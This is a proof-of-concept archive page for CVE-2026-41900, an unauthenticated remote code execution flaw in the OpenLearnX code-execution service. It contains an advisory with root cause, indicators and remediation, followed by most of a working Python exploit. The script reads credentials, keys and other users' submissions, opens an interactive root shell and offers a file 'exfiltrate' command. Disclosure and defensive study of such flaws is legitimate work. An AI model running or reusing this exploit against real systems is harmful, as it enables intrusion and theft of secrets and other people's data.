PoC Archive PoC Archive
High CVE-2026-41900 (GHSA-8h25-q488-4hxw) patched

OpenLearnX Unauthenticated RCE via Container Volume Mount (CVE-2026-41900)

by Christbowel (Balgo Security Team) · 2026-07-05

CVSS 8.6/10
Severity
High
CVE
CVE-2026-41900 (GHSA-8h25-q488-4hxw)
Category
cloud
Affected product
OpenLearnX code-execution/compiler service (Flask backend)
Affected versions
All commits before fix commit 14765d7
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherChristbowel (Balgo Security Team)
CVE / AdvisoryCVE-2026-41900 (GHSA-8h25-q488-4hxw)
Categorycloud
SeverityHigh
CVSS Score8.6 (High)
StatusPoC
Tagsdocker, container-escape, rce, unauthenticated, code-execution-sandbox, info-disclosure, volume-mount, root
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenLearnX code-execution/compiler service (Flask backend)
Versions AffectedAll commits before fix commit 14765d7
Language / PlatformPython PoC targeting a Docker-based sibling-container code runner
Authentication RequiredNo
Network Access RequiredYes

Summary

OpenLearnX’s /api/compiler/execute endpoint runs untrusted user-submitted code inside a sibling Docker container, but the blueprint carries no authentication decorator, so any unauthenticated request can trigger it. The pre-patch execute_in_container() function writes the submitted code to a tempfile and mounts os.path.dirname(temp_file) — which resolves to the shared /tmp directory — into the sandbox container as a read-only volume, with no user=, cap_drop, or security_opt restrictions, so the container runs as root by default. Because the entire host /tmp is exposed inside the container and the process runs as root, an attacker can read secrets, credentials, JWT signing keys, and other users’ code submissions that happen to reside in /tmp, and confirm root-level execution and default Linux capabilities.


Vulnerability Details

Root Cause

execute_in_container() mounted the directory containing the user’s tempfile (os.path.dirname(temp_file), which is /tmp) into the execution container without narrowing it to a per-request isolated directory, and omitted user=, cap_drop=["ALL"], and security_opt=["no-new-privileges:true"], leaving the sandbox running as root with default capabilities and full /tmp visibility. Combined with a missing authentication decorator on the compiler blueprint, this became an unauthenticated info-disclosure/RCE primitive.

Attack Vector

  1. Attacker sends an unauthenticated request to /api/compiler/execute (or equivalent endpoints) with code that reads /app (the mounted /tmp) inside the sandbox container.
  2. Because the sandbox container runs as root with the full host /tmp mounted read-only, the attacker lists and reads files under /app, including other users’ pending submissions and any secrets/config files transiently placed in /tmp.
  3. The attacker confirms root UID and default Docker capabilities inside the container, and can execute arbitrary commands within the sandbox container as root.
  4. Repeated requests spawn fresh ephemeral containers, effectively giving the attacker a pseudo-interactive root shell scoped to the sandbox.

Impact

Unauthenticated disclosure of credentials, JWT signing keys, and other users’ code submissions, plus root-level command execution inside the sandbox container reachable without any authentication.


Environment / Lab Setup

Target:   OpenLearnX pre-patch (before commit 14765d7), Docker host running the Flask compiler service
Attacker: Python 3 (stdlib only), network access to the target's compiler API

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
python3 exploit.py --check http://target:5000
python3 exploit.py --exploit http://target:5000
python3 exploit.py --shell http://target:5000

The script checks whether a target is vulnerable, runs a set of “gadgets” (directory listing, secrets read, other users’ submissions, root/UID check, capability dump) against the compiler endpoint, and can drop into a pseudo-interactive shell where each command spawns a fresh sandbox container running as root.


Detection & Indicators of Compromise

Signs of compromise:

  • Repeated unauthenticated POSTs to compiler/execute endpoints from unexpected source IPs
  • Ephemeral sandbox containers reading files such as openlearnx_db_creds.conf or jwt_signing_key.pem
  • Sandbox container processes running as UID 0 with default (non-dropped) Linux capabilities

Remediation

ActionDetail
Primary fixUpgrade to the version containing commit 14765d7, which replaces the sandbox with real_compiler_service using a per-request isolated tempdir, cap_drop=["ALL"], security_opt=["no-new-privileges:true"], and a non-root user="65534:65534"
Interim mitigationRequire authentication on all code-execution endpoints and avoid mounting shared host directories (like /tmp) into sandbox containers

References


Notes

Mirrored from https://github.com/Christbowel/CVE-2026-41900-POC on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3

import argparse
import json
import os
import readline
import sys
import textwrap
import urllib.error
import urllib.request
from datetime import datetime, timezone

RESET  = "\033[0m"
BOLD   = "\033[1m"
RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
BLUE   = "\033[94m"
CYAN   = "\033[96m"
DIM    = "\033[2m"
MAG    = "\033[95m"
WHITE  = "\033[97m"

BANNER = f"""
{BLUE}╔═══════════════════════════════════════════════════════════════════╗{RESET}
{BLUE}{RESET}                                                                   {BLUE}{RESET}
{BLUE}{RESET}    {BOLD}{WHITE} ██████╗ ██╗     ██╗  ██╗    ██████╗  ██████╗███████╗{RESET}        {BLUE}{RESET}
{BLUE}{RESET}    {BOLD}{WHITE}██╔═══██╗██║     ╚██╗██╔╝    ██╔══██╗██╔════╝██╔════╝{RESET}        {BLUE}{RESET}
{BLUE}{RESET}    {BOLD}{WHITE}██║   ██║██║      ╚███╔╝     ██████╔╝██║     █████╗  {RESET}        {BLUE}{RESET}
{BLUE}{RESET}    {BOLD}{WHITE}██║   ██║██║      ██╔██╗     ██╔══██╗██║     ██╔══╝  {RESET}        {BLUE}{RESET}
{BLUE}{RESET}    {BOLD}{WHITE}╚██████╔╝███████╗██╔╝ ██╗    ██║  ██║╚██████╗███████╗{RESET}        {BLUE}{RESET}
{BLUE}{RESET}    {BOLD}{WHITE} ╚═════╝ ╚══════╝╚═╝  ╚═╝    ╚═╝  ╚═╝ ╚═════╝╚══════╝{RESET}        {BLUE}{RESET}
{BLUE}{RESET}                                                                   {BLUE}{RESET}
{BLUE}{RESET}   {CYAN}OpenLearnX Unauthenticated RCE via Container Volume Mount{RESET}      {BLUE}{RESET}
{BLUE}{RESET}   {DIM}Tempfile dir traversal → Secret leak → Root container exec{RESET}     {BLUE}{RESET}
{BLUE}{RESET}                                                                   {BLUE}{RESET}
{BLUE}{RESET}   {YELLOW}CVE-2026-41900{RESET}{YELLOW}GHSA-8h25-q488-4hxw{RESET}                       {BLUE}{RESET}
{BLUE}{RESET}                                                                   {BLUE}{RESET}
{BLUE}{RESET}                          {MAG}by Christbowel{RESET}                           {BLUE}{RESET}
{BLUE}╚═══════════════════════════════════════════════════════════════════╝{RESET}
"""

ENDPOINTS = [
    "/api/compiler/execute",
    "/api/coding/execute",
    "/execute",
]

FAIL_PATTERNS = [
    "operation not permitted", "permission denied", "no such file",
    "not found", "cannot open", "traceback", "blocked",
    "security violation", "modulenotfounderror",
]

GADGETS = {
    "listing": {
        "severity": "HIGH",
        "cwe": "CWE-538",
        "desc": "Directory listing of mounted /tmp via /app",
        "code": textwrap.dedent("""\
            import os
            base = '/app'
            entries = os.listdir(base)
            print(f"LISTING:{len(entries)}")
            for e in sorted(entries):
                full = os.path.join(base, e)
                size = os.path.getsize(full) if os.path.isfile(full) else -1
                tag = "DIR" if os.path.isdir(full) else f"{size}B"
                print(f"  {tag:>10s}  {e}")
        """),
        "check": lambda o: "LISTING:" in o and int(o.split("LISTING:")[1].split("\n")[0]) > 1,
    },
    "secrets": {
        "severity": "CRITICAL",
        "cwe": "CWE-538 / CWE-377",
        "desc": "Read credentials and secrets from /tmp",
        "code": textwrap.dedent("""\
            import os, glob
            found = False
            for pat in ['/app/*.conf', '/app/*.pem', '/app/*.key', '/app/*.env',
                        '/app/*.json', '/app/*.yml', '/app/*.yaml', '/app/*.cfg',
                        '/app/*.ini', '/app/*.secret', '/app/*.sock']:
                for f in glob.glob(pat):
                    if os.path.isfile(f) and os.path.getsize(f) < 50000:
                        found = True
                        print(f"FILE:{os.path.basename(f)}:{os.path.getsize(f)}")
                        print(open(f).read()[:800])
                        print("---")
            if not found:
                for f in sorted(glob.glob('/app/*'))[:15]:
                    if os.path.isfile(f) and not f.endswith('.py') and os.path.getsize(f) < 50000:
                        found = True
                        print(f"FILE:{os.path.basename(f)}:{os.path.getsize(f)}")
                        print(open(f).read()[:500])
                        print("---")
            if not found:
                print("NO_FILES")
        """),
        "check": lambda o: "FILE:" in o,
    },
    "submissions": {
        "severity": "HIGH",
        "cwe": "CWE-538",
        "desc": "Read other students' code submissions from /tmp",
        "code": textwrap.dedent("""\
            import os, glob
            own = os.path.abspath(__file__) if '__file__' in dir() else ''
            pyfiles = [f for f in glob.glob('/app/*.py')
                       if os.path.isfile(f) and os.path.abspath(f) != own]
            if pyfiles:
                print(f"SUBMISSIONS:{len(pyfiles)}")
                for f in sorted(pyfiles)[:10]:
                    print(f"\\n--- {os.path.basename(f)} ({os.path.getsize(f)}B) ---")
                    print(open(f).read()[:600])
            else:
                print("NO_SUBMISSIONS")
        """),
        "check": lambda o: "SUBMISSIONS:" in o,
    },
    "rootcheck": {
        "severity": "MEDIUM",
        "cwe": "CWE-250",
        "desc": "Confirm root execution (no user= in containers.run)",
        "code": "import os; uid=os.getuid(); gid=os.getgid(); print(f'UID:{uid} GID:{gid}')",
        "check": lambda o: "UID:0" in o,
    },
    "caps": {
        "severity": "MEDIUM",
        "cwe": "CWE-250",
        "desc": "Default Docker capabilities (no cap_drop)",
        "code": textwrap.dedent("""\
            caps = {}
            for line in open('/proc/1/status'):
                if line.startswith('Cap'):
                    k, v = line.strip().split(':\\t')
                    caps[k] = v
            eff = int(caps.get('CapEff', '0'), 16)
            print(f"CAPEFF:0x{eff:016x}")
            print("DEFAULT_CAPS" if eff > 0 else "CAPS_DROPPED")
        """),
        "check": lambda o: "DEFAULT_CAPS" in o,
    },
}


def log_ok(msg):
    print(f"  {GREEN}[+]{RESET} {msg}")


def log_fail(msg):
    print(f"  {RED}[-]{RESET} {msg}")


def log_info(msg):
    print(f"  {BLUE}[*]{RESET} {msg}")


def log_warn(msg):
    print(f"  {YELLOW}[!]{RESET} {msg}")


def log_hit(sev, msg):
    colors = {"CRITICAL": RED, "HIGH": YELLOW, "MEDIUM": CYAN, "INFO": DIM}
    c = colors.get(sev, WHITE)
    print(f"  {c}[{sev}]{RESET} {msg}")


def http_post(url, payload, timeout=20):
    body = json.dumps(payload).encode()
    req = urllib.request.Request(url, data=body,
                                headers={"Content-Type": "application/json"},
                                method="POST")
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, json.loads(resp.read())
    except urllib.error.HTTPError as e:
        try:
            return e.code, json.loads(e.read())
        except Exception:
            return e.code, {"error": str(e)}
    except urllib.error.URLError as e:
        return 0, {"error": f"{e.reason}"}
    except Exception as e:
        return 0, {"error": str(e)}


def http_get(url, timeout=10):
    req = urllib.request.Request(url, method="GET")
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, json.loads(resp.read())
    except Exception:
        return 0, {}


def execute(endpoint, code, lang="python"):
    status, resp = http_post(endpoint, {"language": lang, "code": code})
    output = (resp.get("output") or "").strip()
    error = (resp.get("error") or "").strip()
    blocked = resp.get("blocked", False)
    return output, error, blocked


def is_hit(output, blocked=False):
    if blocked or not output:
        return False
    low = output.lower()
    return not any(p in low for p in FAIL_PATTERNS)


def find_endpoint(target):
    for suffix in ENDPOINTS:
        url = target + suffix
        log_info(f"Probing {DIM}{url}{RESET}")
        out, err, blk = execute(url, 'print("OLX_PROBE_OK")')
        if "OLX_PROBE_OK" in out:
            log_ok(f"Live endpoint: {GREEN}{url}{RESET}")
            return url
        elif blk:
            log_warn(f"Blocked (patched?) at {url}")
    return None


def run_check(target):
    print(f"\n{BOLD}[CHECK]{RESET} Verifying {target}\n")

    health_url = target + "/api/compiler/health"
    log_info(f"GET {health_url}")
    status, resp = http_get(health_url)
    if status == 200:
        log_ok(f"Health OK — Docker: {resp.get('docker_available')}")
    else:
        log_info("Health endpoint not found (expected for pre-patch)")

    ep = find_endpoint(target)
    if not ep:
        log_fail("No live execution endpoint found")
        return None, False

    out, _, _ = execute(ep, "import os; print(f'UID:{os.getuid()}')")
    root = "UID:0" in out

    out2, _, _ = execute(ep, textwrap.dedent("""\
        import os
        try:
            n = len(os.listdir('/app'))
            print(f"MOUNT:{n}")
        except:
            print("NO_MOUNT")
    """))
    mount = "MOUNT:" in out2

    print()
    if root and mount:
        log_ok(f"{GREEN}VULNERABLE{RESET} — root exec + /tmp volume mount exposed")
        return ep, True
    elif mount:
        log_warn(f"{YELLOW}PARTIAL{RESET} — /tmp mounted but not root")
        return ep, True
    elif root:
        log_warn(f"{YELLOW}PARTIAL{RESET} — root exec but /tmp not mounted")
        return ep, True
    else:
        log_fail(f"{RED}NOT VULNERABLE{RESET} — patched or different config")
        return ep, False


def run_gadget(ep, name):
    g = GADGETS[name]
    log_hit(g["severity"], f"{g['desc']} {DIM}({g['cwe']}){RESET}")
    out, err, blk = execute(ep, g["code"])
    if blk:
        print(f"      {RED}BLOCKED{RESET} — security filter")
        return False
    if g["check"](out):
        for line in out.splitlines()[:30]:
            print(f"      {DIM}{RESET} {line}")
        return True
    else:
        detail = out[:120] or err[:120] or "(empty)"
        print(f"      {DIM}not confirmed: {detail}{RESET}")
        return False


def run_all_gadgets(ep):
    print(f"\n{BOLD}[EXPLOIT]{RESET} Running all gadgets against {CYAN}{ep}{RESET}\n")
    results = {}
    evidence = []
    for name, g in GADGETS.items():
        hit = run_gadget(ep, name)
        results[name] = hit
        if hit:
            evidence.append({"gadget": name, "severity": g["severity"], "cwe": g["cwe"]})
        print()
    return results, evidence


def run_command(ep, cmd):
    code = textwrap.dedent(f"""\
        import subprocess
        r = subprocess.run({repr(cmd)}, shell=True, capture_output=True, text=True, timeout=15)
        if r.stdout: print(r.stdout, end='')
        if r.stderr: print(r.stderr, end='')
    """)
    out, err, blk = execute(ep, code)
    if blk:
        return f"{RED}[blocked by security filter]{RESET}"
    return out or err or ""


def interactive_shell(ep):
    print(f"\n{BOLD}{CYAN}┌──────────────────────────────────────────────┐{RESET}")
    print(f"{BOLD}{CYAN}│  OLX Remote Shell — CVE-2026-41900           │{RESET}")
    print(f"{BOLD}{CYAN}│  Type 'exit' or Ctrl+C to quit               │{RESET}")
    print(f"{BOLD}{CYAN}│  Each command spawns a new container          │{RESET}")
    print(f"{BOLD}{CYAN}└──────────────────────────────────────────────┘{RESET}\n")

    out, _, _ = execute(ep, "import os; print(os.uname().nodename)")
    hostname = out.strip() or "container"

    histfile = os.path.expanduser("~/.olx_shell_history")
    try:
        readline.read_history_file(histfile)
    except FileNotFoundError:
        pass

    while True:
        try:
            prompt = f"{RED}root@{hostname}{RESET}:{BLUE}/app{RESET}# "
            cmd = input(prompt)
        except (EOFError, KeyboardInterrupt):
            print(f"\n{DIM}[shell closed]{RESET}")
            break

        cmd = cmd.strip()
        if not cmd:
            continue
        if cmd.lower() in ("exit", "quit"):
            print(f"{DIM}[shell closed]{RESET}")
            break

        if cmd.startswith("download "):
            remote_path = cmd.split(" ", 1)[1].strip()
            download_file(ep, remote_path)
            continue

        result = run_command(ep, cmd)
        if result:
            print(result)

    try:
        readline.write_history_file(histfile)
    except Exception:
        pass


def download_file(ep, remote_path):
    if not remote_path.startswith("/app/"):
        remote_path = "/app/" + remote_path.lstrip("/")
    code = textwrap.dedent(f"""\
        import base64, os
        path = {repr(remote_path)}
        if os.path.isfile(path):
            data = open(path, 'rb').read()
            print(f"SIZE:{{len(data)}}")
            print(base64.b64encode(data).decode())
        else:
            print("NOT_FOUND")
    """)
    out, err, blk = execute(ep, code)
    if "NOT_FOUND" in out or blk:
        log_fail(f"File not found: {remote_path}")
        return
    lines = out.strip().splitlines()
    if len(lines) >= 2 and lines[0].startswith("SIZE:"):
        import base64
        size = int(lines[0].split(":")[1])
        data = base64.b64decode(lines[1])
        local = os.path.basename(remote_path)
        with open(local, "wb") as f:
            f.write(data)
        log_ok(f"Downloaded {local} ({size}B)")
    else:
        log_fail(f"Unexpected response: {out[:100]}")


def save_evidence(target, ep, evidence):
    report = {
        "cve": "CVE-2026-41900",
        "ghsa": "GHSA-8h25-q488-4hxw",
        "target": target,
        "endpoint": ep,
        "auth_required": False,
        "timestamp": datetime.now(timezone.utc).isoformat(),
        "findings": evidence,
    }
    path = "cve-2026-41900-evidence.json"
    with open(path, "w") as f:
        json.dump(report, f, indent=2)
    return path


def print_report(target, ep, results, evidence):
    total = sum(1 for v in results.values() if v)
    sevmap = {}
    for e in evidence:
        sevmap.setdefault(e["severity"], []).append(e["gadget"])

    print(f"\n{BLUE}{'═' * 65}{RESET}")
    print(f"  {BOLD}CVE-2026-41900 — RESULTS{RESET}")
    print(f"{BLUE}{'═' * 65}{RESET}")
    print(f"  Target   : {WHITE}{target}{RESET}")
    print(f"  Endpoint : {CYAN}{ep}{RESET}")
    print(f"  Auth     : {RED}NONE REQUIRED{RESET}")
    print(f"  Date     : {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')}")
    print()

    if total == 0:
        log_fail("No vectors confirmed — instance appears patched")
    else:
        for sev in ("CRITICAL", "HIGH", "MEDIUM"):
            if sev in sevmap:
                colors = {"CRITICAL": RED, "HIGH": YELLOW, "MEDIUM": CYAN}
                c = colors[sev]
                print(f"  {c}[{sev:>8s}]{RESET}  {', '.join(sevmap[sev])}")
        print(f"\n  {BOLD}Total : {total} confirmed{RESET}")
        print()
        print(f"  {GREEN}REMEDIATION:{RESET}")
        print(f"    {DIM}→ Update to commit 14765d7 or later{RESET}")
        print(f"    {DIM}→ Apply: cap_drop=['ALL'], user='65534:65534'{RESET}")
        print(f"    {DIM}→ Use per-execution tmpdir, not shared /tmp{RESET}")

    print(f"{BLUE}{'═' * 65}{RESET}")

    if evidence:
        path = save_evidence(target, ep, evidence)
        print(f"\n  {GREEN}Evidence → {path}{RESET}")


def build_parser():
    p = argparse.ArgumentParser(
        prog="olx-rce",
        description="CVE-2026-41900 — OpenLearnX Unauthenticated RCE via Container Volume Mount",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent(f"""\
        {BOLD}examples:{RESET}
          %(prog)s --check http://target:5000
          %(prog)s --exploit http://target:5000
          %(prog)s --shell http://target:5000
          %(prog)s -c "id" http://target:5000
          %(prog)s -c "cat /etc/passwd" http://target:5000
          %(prog)s --gadget secrets http://target:5000
          %(prog)s --gadget listing --gadget caps http://target:5000

        {BOLD}gadgets:{RESET}
          listing      /tmp directory listing via volume mount       [HIGH]
          secrets      Read credentials and keys from /tmp           [CRITICAL]
          submissions  Read other users' code submissions            [HIGH]
          rootcheck    Confirm UID 0 execution                       [MEDIUM]
          caps         Dump effective Linux capabilities              [MEDIUM]

        {BOLD}shell commands:{RESET}
          download <path>   Exfiltrate a file from /app to local dir
          exit              Close the shell
        """),
    )

    mode = p.add_argument_group("modes")
    mode.add_argument("--check", action="store_true",
                      help="Check if target is vulnerable (no exploitation)")
    mode.add_argument("--exploit", action="store_true",
                      help="Run all gadgets and generate evidence report")
    mode.add_argument("--shell", action="store_true",
                      help="Drop into an interactive remote shell")
    mode.add_argument("-c", "--command", metavar="CMD",
                      help="Execute a single command and exit")
    mode.add_argument("--gadget", action="append", metavar="NAME",
                      choices=list(GADGETS.keys()),
                      help="Run a specific gadget (repeatable)")

    p.add_argument("target", metavar="TARGET",
                   help="Base URL of the OpenLearnX instance (e.g. http://host:5000)")
    p.add_argument("-q", "--quiet", action="store_true",
                   help="Suppress banner")

    return p


def main():
    parser = build_parser()
    args = parser.parse_args()

    if not args.quiet:
        print(BANNER)

    target = args.target.rstrip("/")

    if not any([args.check, args.exploit, args.shell, args.command, args.gadget]):
        parser.print_help()
        sys.exit(0)
Showing 500 of 536 lines View full file on GitHub →